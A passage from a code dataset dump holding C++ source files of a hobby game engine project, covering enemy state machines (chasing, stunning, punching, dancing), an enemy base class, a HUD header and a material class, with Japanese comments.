e->GetState(TO_INT(IEnemy::EnState::enAttackB));\n\t\t\t}\n\t\t}\n\t\telse if (vec2PlayerLen < 35 && t < Math::PI * 0.3f)\n\t\t{\n\t\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enLongJampAttack));\n\t\t}\n\t\t//離れたら移動。\n\t\telse {\n\t\t\tMove(e);\n\t\t}\n\n\t\t//離れたら移動停止。\n\t\tif (vec2PlayerLen > idleRange) {\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t\t}\n\t}\n\n\t//歩いている途中でたまに踊る。\n\tconst float maxTime = 2.5f;\n\tm_danceTimer += gameTime()->GetDeltaTime();\n\tif (m_danceTimer > maxTime) {\n\t\tauto rand = GRandom().Rand();\n\t\t//約15%の確率で踊る。\n\t\tif (rand < 0.15f) {\n\t\t\tm_danceTimer = 0.f;\n\t\t\t//ダンス。\n\t\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enDance));\t\n\t\t}\n\t\tm_danceTimer = 0.f;\n\t}\n\n\treturn this;\n}\n\nvoid EnemyShortRangeComingState::Exit(IEnemy* e)\n{\n\te->SetVelocity(Vector3::Zero);\n}\n\nvoid EnemyShortRangeComingState::Move(IEnemy* e)\n{\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tvecToPlayer.y = 0.f;\n\tvecToPlayer.Normalize();\n\t\n\tconst float walkSpeed = 60.0f;\n\tVector3 moveSpeed = vecToPlayer * walkSpeed;\n\n\t//重力。\n\tif (!e->IsOnGround())\n\t\tmoveSpeed.y -= 100.0f;\n\telse\n\t\tDebugPrint_NOMOTO(\"is on ground\");\n\t\n\te->SetVelocity(moveSpeed);\n}\n\nbool EnemyShortRangeComingState::Animation()\n{\n\treturn true;\n}\n"
},
{
"alpha_fraction": 0.691998302936554,
"alphanum_fraction": 0.6970787644386292,
"avg_line_length": 25.09944725036621,
"blob_id": "30894b6e37b7d4ffa7668cb0a3735dbd85fb5e5d",
"content_id": "707b304c2729ac72e91c4dcd197114534ad8bc41",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4724,
"license_type": "no_license",
"max_line_length": 114,
"num_lines": 181,
"path": "/Game/Enemy/IEnemy.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"IEnemy.h\"\n#include \"HealthBar.h\"\n#include \"../GameManager.h\"\n#include \"../GameSceneMenu.h\"\n#include \"State/IEnemyState.h\"\n#include \"State/EnemyIdleState.h\"\n#include \"State/EnemyBattleState.h\"\n#include \"State/EnemySlashState.h\"\n#include \"State/EnemyDeadState.h\"\n#include \"State/EnemyStunState.h\"\n#include \"Effect/ExplosionEffect.h\"\n#include \"Effect/SmokeEffect.h\"\n#include \"Game.h\"\n#include \"EnemyManager.h\"\n\nvoid IEnemy::Awake() {\n\tInitState();\n\tInit();\n}\n\nvoid IEnemy::InitState() {\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enIdleState), new EnemyIdleState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enBattleState), new EnemyBattleState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enAttackA), new EnemySlashState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enStunState), new EnemyStunState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enAttackB), new EnemySlashState()));\n\tm_stateMap.insert(std::make_pair(TO_INT(EnState::enDeadState), new EnemySlashState()));\n}\n\nbool IEnemy::Start() {\n\t\n\t\n\tInitIK();\n\tif (m_isNormalEnemy) {\n\t\tm_healthBar = NewGO<HealthBar>(0);\n\t}\n\n\tm_explodeEffect = NewGO<ExplosionEffect>(0);\n\tm_explodeEffect->Init();\n\n\tm_smokeEffect = NewGO<SmokeEffect>(0);\n\tm_smokeEffect->Init(m_smokeColor, m_smokeColor, 1.f, 7, true);\n\n\treturn true;\n}\n\nvoid IEnemy::Release() {\n\tfor (auto& state : m_stateMap) {\n\t\tdelete state.second;\n\t}\n\tfor (auto& anim : m_animationMap)\n\t{\n\t\tdelete anim.second.release();\n\t}\n\n\tDeleteGO(m_smokeEffect);\n\tDeleteGO(m_explodeEffect);\n\n\tTerminate();\n\n\tif (m_healthBar != nullptr) {\n\t\tDeleteGO(m_healthBar);\n\t}\n}\n\nvoid IEnemy::OnDestroy() {\n\tRelease();\n}\n\nvoid IEnemy::Update() {\n\n\tif (GameManager::GetInstance().m_menu != nullptr and GameManager::GetInstance().m_menu->IsGamePaused()) return;\n\n\tif (GameManager::GetInstance().GetCurrentGameState() == GameManager::EnGameState::Loading) {\n\t\tExecuteCommon();\n\t\treturn;\n\t}\n\n\tm_nextState = m_currentState->Update(this);\n\tm_charaCon.Execute(gameTime()->GetDeltaTime(), m_velocity + m_externalVelocity);\n\tm_position = m_charaCon.GetPosition();\n\n\t//Rotation\n\tif (m_isUseAutoRotateSystem) {\n\t\tif (m_velocity.x != 0.f or m_velocity.z != 0.f) {\n\t\t\tQuaternion rot = Quaternion::Identity;\n\t\t\tauto theta = atan2(m_velocity.x, m_velocity.z);\n\t\t\ttheta = theta * (180.f / Math::PI);\n\t\t\trot.SetRotationDegY(theta);\n\t\t\tm_rotation = rot;\n\t\t}\n\t}\n\n\tExecute();\n\tExecuteCommon();\n\n\tif (m_healthBar != nullptr) {\n\t\tm_healthBar->SetParentPos(m_position);\n\t}\n\n\tif (m_nextState != m_currentState) {\n\t\tm_currentState->Exit(this);\n\t\tm_previousState = m_currentState;\n\t\tm_currentState = m_nextState;\n\t\tm_currentState->Enter(this);\n\t}\n\n\tif (!m_addedAsDeadBody and m_ability.hp <= 0.f) {\n\t\tEnemyManager::GetEnemyManager().AddCorpseCount();\n\t\tm_addedAsDeadBody = true;;\n\t}\n\n\tif (m_position.y <= m_ResetPos) {\n\t\tVector3 nearestCellPos = Vector3::Zero;\n\t\tfloat nearestDist = FLT_MAX;\n\t\tauto& cells = GameManager::GetInstance().m_nvm.GetCell();\n\t\tconst auto myPos = Vector3(m_position.x, 0.f, m_position.z);\n\t\tfor (auto cell : cells) {\n\t\t\tconst auto cellCenterPos = Vector3(cell->centerPos.x, 0.f, cell->centerPos.z);\n\t\t\tauto dist = (cellCenterPos - myPos).LengthSq();\n\t\t\tif (dist < nearestDist) {\n\t\t\t\tnearestDist = dist;\n\t\t\t\tnearestCellPos = cell->centerPos;\n\t\t\t}\n\t\t}\n\t\tSetPosition(nearestCellPos);\n\t}\n\n\n}\n\nvoid IEnemy::SetState(IEnemyState* s) {\n\n\tif (m_currentState == nullptr) {\n\t\tm_previousState = m_currentState = s;\n\t\tm_currentState->Enter(this);\n\t\treturn;\n\t}\n\n\tif (s == m_currentState) return;\n\tm_nextState = s;\n}\n\nvoid IEnemy::ApplyDamage(const float damage, const bool stunFlag, const Vector3& imp) {\n\tm_ability.hp = max(0.f, m_ability.hp - damage);\n\tm_currentState->OnAttacked(this);\n\tif (m_healthBar != nullptr) {\n\t\tm_healthBar->ShowHealthBar();\n\t\t//update hp bar\n\t\tm_healthBar->SetHealthRatio(GetCurrentHP() / GetMaxHP());\n\t}\n\t\n\tif(stunFlag)\n\t\tm_impulse = imp;\n\tif (stunFlag && (m_ability.hp > FLT_EPSILON)) {\n\t\tm_previousState = m_currentState;\n\t\tm_currentState->Exit(this);\n\t\tm_currentState = m_nextState = GetState((TO_INT(EnState::enStunState)));\n\t\t\n\t\tm_currentState->Enter(this);\n\t\t\n\t}\n}\n\nvoid IEnemy::UseStamina(const float amount) {\n\tif(amount > 0.f)\n\t\tm_ability.stamina = max(0.f, m_ability.stamina - amount);\n}\n\nvoid IEnemy::RecoverStamina(const float amount) {\n\tif (amount > 0.f)\n\t\tm_ability.stamina = min(m_ability.max_stamina, m_ability.stamina + amount);\n}\n\nvoid IEnemy::InitCharacon(const float radius, const float height, const Vector3& pos, const bool isUseRigidBody) {\n\tm_radius = radius;\n\tm_charaCon.Init(radius, height, pos, /*isUseRigidBody */ true);\n\tm_charaCon.AddCollisionAttribute(GameCollisionAttribute::Enemy);\n\tm_charaCon.SetUserPointer(this);\n}\n"
},
{
"alpha_fraction": 0.693464457988739,
"alphanum_fraction": 0.7021399736404419,
"avg_line_length": 17.591398239135742,
"blob_id": "880d07b60ec86ed2ee071a2cd900ab4f9f57cdb9",
"content_id": "0224c0517185c00e29e0ab7474fbee7fab68b9ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1729,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 93,
"path": "/Game/Enemy/Zako/Zako_LongDistanceMachine.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"Enemy/IEnemy.h\"\n#include \"physics/BoxCollider.h\"\n/// <summary>\n/// \n/// </summary>\nclass Zako_LongDistanceMachine final:public IEnemy\n{\npublic:\n\t\n\tZako_LongDistanceMachine();\n\tvirtual ~Zako_LongDistanceMachine();\n\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid InitIK() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tPlayer::EnAttackType GetDropID() override \n\t{ \n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\tvoid PlayAnimation(const int anim, const float interpolate = 2.f) override\n\t{\n\t\tm_model->Play(anim, interpolate);\n\t}\n\n\n\tusing StateEnumType = UINT;\n\tenum class EStateEX : StateEnumType\n\t{\n\t\tLongDistanceTargeting = TO_INT(IEnemy::EnState::enBattleState),\n\t\tNum,\n\t};\n\n\tenum class EAnim : StateEnumType\n\t{\n\t\tFire = TO_INT(IEnemy::EnAnimation::enAttackA),\n\t\tNum,\n\t};\n\n\tenum class EIK :StateEnumType\n\t{\n\t\tFoot1 = TO_INT(EnIK::enNumIK),\n\t\tFoot2,\n\t\tFoot3,\n\t\tFoot4,\n\n\t\tNum\n\t};\n\n\tRigidBody& GetRigidBody()\n\t{\n\t\treturn m_rigidBody;\n\t}\n\n\tvoid SetKinematicFrag(bool b)\n\t{\n\t\t//m_rigidBody.GetBody()->setCollisionFlags(0);\n\t\tm_rigidBody.GetBody()->activate(true);\n\t\tm_isKinematic = b;\n\t}\n\n\tbtMotionState& GetMotionState()\n\t{\n\t\treturn *m_motionState;\n\t}\nprivate:\n\tbtMotionState* m_motionState;\n\t//Model\n\t//ModelRender* m_model = nullptr;\n\t/*CAnimationClip m_animClip[1];\n\tstd::vector<CAnimationClipPtr> m_animlist;*/\n\tfloat m_scale = 2.f;\n\n\t//Physics\n\tconst float m_radius = 2.5f;\n\tconst float m_height = 3.f;\n\n\tQuaternion m_rot = Quaternion::Identity;\n\n\tfloat m_bulletSpeed = 2000.f;\n\n\tBoxCollider m_box;\n\tRigidBody m_rigidBody;\n\n\tbool m_isKinematic = false;\n\n\t//const static StateEnumType STATE_NUM = TO_UINT(EStateEX::Num);\n\t//std::array<IEnemyState*, STATE_NUM> m_stateListEX;\n};\n"
},
{
"alpha_fraction": 0.6730434894561768,
"alphanum_fraction": 0.6881159543991089,
"avg_line_length": 22.95833396911621,
"blob_id": "6fbd71832fe8cba8684411638eb3a45cb2f1bd86",
"content_id": "b58c089a8a1f6beed36a1a007f07c2f0963f2ab6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1745,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 72,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigStun.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigStun.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nEnemyShortBigStun::EnemyShortBigStun()\n{\n}\n\nEnemyShortBigStun::~EnemyShortBigStun()\n{\n}\n\nvoid EnemyShortBigStun::Enter(IEnemy* e)\n{\n\t//e->PlayAnimation(TO_INT(IEnemy::EnAnimation::enIdle));\n\n\tif (m_ik == nullptr)\n\t\tm_ik = e->GetIK(TO_INT(IEnemy::EnIK::enChest));\n\tauto knockBack = e->GetKnockBackImpulse();\n\tauto knockBockVec = knockBack;\n\tknockBockVec.Normalize();\n\tfloat knockBackLen = knockBack.Length();\n\t//m_velocity = m_ik->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\tm_velocityEnd = knockBack / 150.f;\n\n\tm_timeLimit = knockBackLen / 300.f;\n\tm_timer = 0.;\n\tm_t = 0.;\n\n\tm_knockBack = knockBack - knockBockVec * min(knockBackLen, 150.f);\n\tm_up = m_knockBack.y * m_timeLimit;\n\tm_knockBack.y = 0;\n\t//m_knockBack /= 10.f;\n\n\t//e->SetKnockBackImpulse(Vector3::Zero);\n}\n\nIEnemyState* EnemyShortBigStun::Update(IEnemy* e)\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\n\tif (m_timer >= m_timeLimit && e->IsOnGround())\n\t{\n\t\te->SetExternalVelocity(Vector3::Zero);\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tfloat t = m_timer / m_timeLimit;\n\n\tfloat s = (t - t * t) * 4.f;\n\tVector3 p;\n\tp.Lerp(s, m_velocity, m_velocityEnd);\n\tm_ik->SetNextTarget(p + m_ik->GetEffectorBone()->GetWorldMatrix().GetTransrate());\n\n\tm_up -= m_grav * dtime;\n\t//m_knockBack * t;\n\te->SetExternalVelocity({ m_knockBack.x,m_up,m_knockBack.z });\n\n\treturn this;\n}\n\nvoid EnemyShortBigStun::Exit(IEnemy* e)\n{\n\te->SetExternalVelocity(Vector3::Zero);\n\t//テストコード。倒れる\n\tCSoundSource* se1 = NewGO<CSoundSource>(0, \"NK\");\n\tse1->Init(L\"Assets/sound/Big_NockDown.wav\");\n\tse1->Play(false);\n\tse1->SetVolume(1.0f);\n}\n"
},
{
"alpha_fraction": 0.703125,
"alphanum_fraction": 0.7309027910232544,
"avg_line_length": 24.086956024169922,
"blob_id": "a9a93ecc3e7ca646397b3003c3cf71bc1b9919a8",
"content_id": "24d2dc16eee39df357737bacfe1052800ce6c29b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 576,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 23,
"path": "/Game/Enemy/State/EnemyStunState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass EnemyStunState : public IEnemyState\n{\npublic:\n\tEnemyStunState();\n\tvirtual ~EnemyStunState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tfloat m_timer = 0.f;\n\tconst float m_stunTime = 1.f;\n\n\tconst float m_VELOCITY_MAX = 10.f;\n\tconst float m_GRAVITY = -9.81f;\n\tconst float m_QUICKNESS = 300.f;\n\tconst float m_FIRST_VEL_PARAM = 15.f;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velocityGoal = Vector3::Zero;\n};"
},
{
"alpha_fraction": 0.6890021562576294,
"alphanum_fraction": 0.699198842048645,
"avg_line_length": 21.508195877075195,
"blob_id": "1debe5d46ca5a8654d93cb7aad6aec2a278f595d",
"content_id": "4ffdca2f3cda043dc8feb10919e8348daa7e12a9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1397,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 61,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigStrongPunch.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigStrongPunch.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n\nEnemyShortBigStrongPunch::EnemyShortBigStrongPunch()\n{\n\n}\n\nEnemyShortBigStrongPunch::~EnemyShortBigStrongPunch()\n{\n}\n\nvoid EnemyShortBigStrongPunch::Enter(IEnemy* e)\n{\n\tm_forward = GameManager::GetInstance().m_player->GetPosition() - e->GetPosition();\n\tm_forward.y = 0;\n\tm_forward.Normalize();\n\tm_forward *= m_fowardMove;\n\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackB);\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto v = p->GetPosition() - e->GetPosition();\n\tv.y = 0.f;\n\tfloat vlen = v.Length();\n\tv /= vlen;\n\n\tconst float BigShortVector = 125.0f;\n\n\tauto f = e->GetForward();\n\tauto t = acosf(v.Dot(f));\n\n\tif (vlen < 25.f && t < Math::PI * 0.5f) {\n\t\t//hukitobiVec = m_forward;\n\t\t//殴打音。\n\t\tCSoundSource* se = NewGO<CSoundSource>(0,\"StrongPunch\");\n\t\tse->Init(L\"Assets/sound/Goblin_StrongPunch1.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.0f);\n\t\t//ダメージとnkの適応\n\t\tp->ApplyDamage(m_damage, true, f * BigShortVector);\n\t}\n}\n\nIEnemyState* EnemyShortBigStrongPunch::Update(IEnemy* e)\n{\n\tif (!e->GetModel()->IsAnimPlaying()) {\n\t\treturn e->GetState(TO_INT(Zako_ShortBig::EnStateEX::enComing));\n\t}\n\treturn this;\n}\n\nvoid EnemyShortBigStrongPunch::Exit(IEnemy* e)\n{\n}\n\nvoid EnemyShortBigStrongPunch::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6170076727867126,
"alphanum_fraction": 0.6589940190315247,
"avg_line_length": 21.342857360839844,
"blob_id": "5ce82b32d3b9ac5482f12aa2409ac52832bea43a",
"content_id": "36ece6f4aecdca0531d49dedceeea00b51106d23",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5046,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 210,
"path": "/Game/GameHUD.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../UsualEngineR/Graphics/SpriteRender.h\"\n#include \"Player/Player.h\"\n//class Player;\nclass IEnemy;\nclass TargetMarker;\n\n/// <summary>\n/// \n/// </summary>\nclass GameHUD :public GameObject\n{\npublic:\n\tGameHUD();\n\tvirtual ~GameHUD();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\t//void SetPlayer(Player* player) {\n\t//\tm_pPlayer = player;\n\t//}\n\nprivate:\n\n\t//Ref\n\t//Player* m_pPlayer = nullptr;\n\t//IEnemy* m_enemy = nullptr;\n\n\t//const\n\tconst Vector3 ANCHOR_BOTTOM_LEFT = { -(FRAME_BUFFER_W / 2.f), -(FRAME_BUFFER_H / 2.f), 0.f };\n\tconst Vector3 ANCHOR_TOP_CENTER = { 0.f, FRAME_BUFFER_H / 2, 0.f };\n\tconst Vector2 m_SPRITE_PIVOT = { 1.f,0.f };\n\t\n\tconst Vector4 m_BACK_COLOR = { 0.1,0.1 ,0.1 ,0.7 };\n\n\t//Player HP\n\tSpriteRender* m_spPlayerHP = nullptr;\n\tSpriteRender* m_spPlayerHP_Deco[2] = { nullptr };\t//左右の飾り 0が左 1が右。\n\tSpriteRender* m_spPlayerHP_Back = nullptr;\n\tconst Vector4 m_HP_COLOR = {\n\t\t235.f / 255.f,\n\t\t78.f / 255.f,\n\t\t78.f / 255.f,\n\t\t1.0f\n\t};\n\tconst Vector4 m_HP_DECO_COLOR = {\n\t\tm_HP_COLOR.x * 0.6f,\n\t\tm_HP_COLOR.y * 0.6f,\n\t\tm_HP_COLOR.z * 0.6f,\n\t\t1.0f\n\t};\n\n\tconst float m_flSpHpHeight = 15;\n\tconst float m_flSpHpWidth = 300;\n\tVector3 m_playerHpScale = Vector3::One;\n\n\tVector3 m_hpPos = { \n\t\tANCHOR_BOTTOM_LEFT.x + 53,\n\t\tANCHOR_BOTTOM_LEFT.y + 30, \n\t\t0.f \n\t};\n\n\t//Player Endurance\n\tSpriteRender* m_spPlayerEndurance = nullptr;\n\tSpriteRender* m_spPlayerEndurance_Deco[2] = { nullptr };\n\tSpriteRender* m_spPlayerEndurance_Back = nullptr;\n\tconst Vector4 m_ENDURANCE_COLOR = { \n\t\t89.f/255.f,\n\t\t213.f / 255.f,\n\t\t76.f / 255.f,\n\t\t1.f \n\t};\n\tconst Vector4 m_ENDURANCE_DECO_COLOR = {\n\t\tm_ENDURANCE_COLOR.x * 0.6f,\n\t\tm_ENDURANCE_COLOR.y * 0.6f,\n\t\tm_ENDURANCE_COLOR.z * 0.6f,\n\t\t1.f\n\t};\n\n\tconst float m_flSpEnduranceHeight = 15.f;\n\tconst float m_flSpEnduranceWidth = 300.f;\n\tVector3 m_playerEnduranceScale = Vector3::One;\n\n\tVector3 m_endurancePos = {\n\t\tANCHOR_BOTTOM_LEFT.x + 53.f,\n\t\tANCHOR_BOTTOM_LEFT.y + 10.f,\n\t\t0.f\n\t};\n\n\n\t//Player Boost\n\tSpriteRender* m_spPlayerBoost = nullptr;\n\tSpriteRender* m_spPlayerBoost_Deco[2] = { nullptr };\n\tSpriteRender* m_spPlayerBoost_Back = nullptr;\n\n\tconst Vector4 m_BOOST_COLOR = { \n\t\t226.f/255.f,\n\t\t173.f/255.f,\n\t\t56.f/255.f,\n\t\t1.f \n\t};\n\tconst Vector4 m_BOOST_DECO_COLOR = {\n\t\tm_BOOST_COLOR.x * 0.6f,\n\t\tm_BOOST_COLOR.y * 0.6f,\n\t\tm_BOOST_COLOR.z * 0.6f,\n\t\t1.f\n\t};\n\n\tconst float m_flSpBoostHeight = 150.f;\n\tconst float m_flSpBoostWidth = 30.f;\n\tconst Vector2 m_boostSpPivot = { 1.f,0.f };\n\tVector3 m_playerBoostScale = Vector3::One;\n\n\tVector3 m_boostPos = {\n\t\tANCHOR_BOTTOM_LEFT.x + 10.f,\n\t\tANCHOR_BOTTOM_LEFT.y + 10.f + 7.f,\n\t\t0.f\n\t};\n\n\t//Enemy HP\n\tSpriteRender* m_spEnemyHP = nullptr;\n\tSpriteRender* m_spEnemyHP_Deco[2] = { nullptr };\n\tSpriteRender* m_spEnemyHP_Back = nullptr;\n\tconst float m_flSpEnemyHPHeight = 20.f;\n\tconst float m_flSpEnemyHPWidth = 800.f;\n\tVector3 m_enemyHpScale = Vector3::One;\n\n\tVector3 m_enemyHPPos = {\n\t\tANCHOR_TOP_CENTER.x - m_flSpEnemyHPWidth / 2.f,\n\t\tANCHOR_TOP_CENTER.y - m_flSpEnemyHPHeight - 20.f,\n\t\t0.f\n\t};\n\n\t//Player Weapon\n\tVector2 m_PRESET_PIVOT = { 0.5,0.5 };\n\tSpriteRender* m_presetBack = nullptr;\n\tconst float m_presetBackHeight = 128.f;\n\tconst float m_presetBackWidth = 128.f;\n\n\tVector3 m_presetPos = {\n\t\t-ANCHOR_BOTTOM_LEFT.x - 72.f,\n\t\tANCHOR_BOTTOM_LEFT.y + 72.f,\n\t\t0.f\n\t};\n\n\tconst float m_weaponSelectScale = 1.f;\n\tconst float m_weaponScale = 0.5f;\n\n\tconst float m_presetHeight = 50.f;\n\tconst float m_presetWidth = 50.f;\n\n\tfloat m_presetOffsetSize = 40.f;\n\tSpriteRender* m_presetSp[TO_INT(Player::EnAttackPreset::enNumPreset)] = { nullptr };\n\tVector3 m_presetOffset[TO_INT(Player::EnAttackPreset::enNumPreset)] =\n\t{\n\t\t{0.f,-m_presetOffsetSize,0.f},\t//default\n\t\t{-m_presetOffsetSize,0.f,0.f},\t//remote\n\t\t{0.f,m_presetOffsetSize,0.f},\t//melee\n\t\t{m_presetOffsetSize,0.f,0.f}\t//bomb\n\t};\n\n\tPlayer::EnAttackPreset m_lateFramePreset = Player::EnAttackPreset::enNumPreset;\n\n\t//Marker\n\tTargetMarker* m_targetMarker = nullptr;\n};\n"
},
{
"alpha_fraction": 0.7188118696212769,
"alphanum_fraction": 0.7326732873916626,
"avg_line_length": 20.95652198791504,
"blob_id": "262994b4c2d018a27c79e763cd6d7ab21318660d",
"content_id": "255207f0a09b6c6271e07ad2b7b44a31e69a878c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 505,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 23,
"path": "/Game/Enemy/State/MiddleBombState/BossBombIdleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombIdleState final : public IEnemyState\n{\npublic:\n\tBossBombIdleState();\n\t~BossBombIdleState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tfloat m_timer = 0.f;\n\tfloat m_timeRotate = 0.5;\n\n\tQuaternion m_firstRot = Quaternion::Identity;\n\n\tbool m_isAttacked = false;\n\n\tconst float m_ikMoveSpeed = 20.f;\n\tVector3 m_oldIKPos = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.6793134808540344,
"alphanum_fraction": 0.6793134808540344,
"avg_line_length": 24.351144790649414,
"blob_id": "7bea06e796bd776b82f6eecde014bea103562cf5",
"content_id": "2f03e59f82db82f15890d1761dd31d97fd27a3c8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4265,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 131,
"path": "/UsualEngineR/Graphics/Material.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"tkFile/TkmFile.h\"\n\n\nnamespace UER\n{\n\t/// <summary>\n\t/// マテリアル。\n\t/// </summary>\n\tclass Material {\n\tpublic:\n\t\t/// <summary>\n\t\t/// tkmファイルのマテリアル情報から初期化する。\n\t\t/// </summary>\n\t\t/// <param name=\"tkmMat\">tkmマテリアル</param>\n\t\tvoid InitFromTkmMaterila(\n\t\t\tconst TkmFile::SMaterial& tkmMat,\n\t\t\tconst wchar_t* vsfxFilePath,\n\t\t\tconst wchar_t* psfxFilePath,\n\t\t\tconst char* vsEntryPointFunc,\n\t\t\tconst char* psEntryPointFunc);\n\t\t/// <summary>\n\t\t/// レンダリングを開始するときに呼び出す関数。\n\t\t/// </summary>\n\t\t/// <param name=\"rc\">レンダリングコンテキスト</param>\n\t\t/// <param name=\"hasSkin\">スキンがあるかどうかのフラグ</param>\n\t\tvoid BeginRender(RenderContext& rc, int hasSkin);\n\n\t\tvoid BeginRenderShadow(RenderContext& rc, int hasSkin);\n\t\n\t\t/// <summary>\n\t\t/// アルベドマップを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tTexture& GetAlbedoMap()\n\t\t{\n\t\t\treturn m_albedoMap;\n\t\t}\n\t\t/// <summary>\n\t\t/// 法線マップを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tTexture& GetNormalMap()\n\t\t{\n\t\t\treturn m_normalMap;\n\t\t}\n\t\t/// <summary>\n\t\t/// スペキュラマップを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tTexture& GetSpecularMap()\n\t\t{\n\t\t\treturn m_specularMap;\n\t\t}\n\t\t/// <summary>\n\t\t/// 定数バッファを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tConstantBuffer& GetConstantBuffer()\n\t\t{\n\t\t\treturn m_constantBuffer;\n\t\t}\n\n\t\tvoid InitEmmission(const wchar_t* emsPath);\n\t\tbool IsLoadEmmission()const\n\t\t{\n\t\t\treturn m_isLoadEmmission;\n\t\t}\n\t\tTexture& GetEmmissionMap()\n\t\t{\n\t\t\treturn m_emmissionMap;\n\t\t}\n\tprivate:\n\t\t/// <summary>\n\t\t/// パイプラインステートの初期化。\n\t\t/// </summary>\n\t\tvoid InitPipelineState();\n\t\t/// <summary>\n\t\t/// シェーダーの初期化。\n\t\t/// </summary>\n\t\t/// <param name=\"fxFilePath\">fxファイルのファイルパス</param>\n\t\t/// <param name=\"vsEntryPointFunc\">頂点シェーダーのエントリーポイントの関数名</param>\n\t\t/// <param name=\"psEntryPointFunc\">ピクセルシェーダーのエントリーポイントの関数名</param>\n\t\tvoid InitShaders(\n\t\t\tconst wchar_t* 